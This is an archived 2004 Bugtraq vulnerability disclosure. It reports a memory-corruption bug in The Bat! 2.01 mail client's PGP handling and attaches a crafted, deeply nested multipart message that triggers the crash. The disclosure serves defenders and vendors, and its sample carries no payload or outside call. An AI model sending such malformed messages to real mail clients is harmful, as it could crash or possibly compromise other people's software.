[33103] in bugtraq
The Bat! 2.01 memory corruption
daemon@ATHENA.MIT.EDU (3APA3A)
Fri Jan 16 12:29:36 2004
Date: Fri, 16 Jan 2004 12:34:43 +0300
From: 3APA3A <3APA3A@SECURITY.NNOV.RU>
Reply-To: 3APA3A <3APA3A@SECURITY.NNOV.RU>
Message-ID: <1685551114.20040116123443@SECURITY.NNOV.RU>
To: bugtraq <bugtraq@securityfocus.com>
Cc: full-disclosure@lists.netsys.com, vlun-dev@securityfocus.com
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------12A10520C36A20510"
------------12A10520C36A20510
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Dear bugtraq,
AGK (agk at sandy.ru) discovered The Bat! 2.01 to throw exception on few
messages. It looks like The Bat! 2.01 in standard configuration (with
build-in PGP support) has a bug with processing PGP signed messages
(protocol="application/pgp-signature") with multiple recursively
included parts. I did not any debugging and problem may be in something
else, but changing layout of parts and signatures makes The Bat! to read
_and write_ different unallocated memory regions, potentially it may be
exploitable to code execution. Because The Bat! has it's own exception
handler, application does not crash.
Vendor (RitLabs) was contacted and replied he was unable to reproduce
this bug in 2.03 Beta and latest release 2.02 CE is _probably_ not
vulnerable to. I did not any validation. 1.x versions are not
vulnerable.
Example of message attached.
--
http://www.security.nnov.ru
/\_/\
{ , . } |\
+--oQQo->{ ^ }<-----+ \
| ZARAZA U 3APA3A } You know my name - look up my number (The Beatles)
+-------------o66o--+ /
|/
------------12A10520C36A20510
Content-Type: message/rfc822; name="batcrash.msg"
Content-Disposition: attachment; filename="batcrash.msg"
From: "Test"
To: "Test"
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-VOhSalJVh0ipN8GZDCj3"
Organization:
Mime-Version: 1.0
Date: 31 Dec 2003 23:42:47 +0300
--=-VOhSalJVh0ipN8GZDCj3
Content-Type: multipart/mixed; boundary="=-HuumM/Y9Qpvq2SoxnAYs"
--=-HuumM/Y9Qpvq2SoxnAYs
Content-Type: multipart/alternative; boundary="=-rxC2ED57bE++pIpgCxGK"
--=-rxC2ED57bE++pIpgCxGK
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Hello administrator.
--=20
Test
--=-rxC2ED57bE++pIpgCxGK
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: quoted-printable
-- <BR>
Test
--=-rxC2ED57bE++pIpgCxGK--
--=-HuumM/Y9Qpvq2SoxnAYs
Content-Disposition: inline
Content-Type: message/rfc822
Date: Sat, 27 Dec 2003 10:18:57 +0300 (MSK)
From: Test
Subject: Test2
To: Test
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status; boundary="38853510C39.1072549137/test"
Message-Id: <20031227181857.E5FA4510D0D@test>
--38853510C39.1072549137/test
Content-Description: Notification
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Test
--38853510C39.1072549137/test
Content-Description: Delivery error report
Content-Type: message/delivery-status
Content-Transfer-Encoding: quoted-printable
Reporting-MTA: dns; test
Arrival-Date: Sat, 27 Dec 2003 10:18:53 -0800 (PST)
Test
--38853510C39.1072549137/test--
--=-HuumM/Y9Qpvq2SoxnAYs
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part
-----BEGIN PGP SIGNATURE-----
Version: Test
iD8DBQA/88Fngiv4lW690g8RAvSKAKCG8RPRPwYvvROWkJiXg9mJDT0NGgCgnhZ8
odAA1J0h/6h0OyiyY7PEt9Y=
=e5k6
-----END PGP SIGNATURE-----
--=-HuumM/Y9Qpvq2SoxnAYs--
--=-VOhSalJVh0ipN8GZDCj3--
------------12A10520C36A20510--
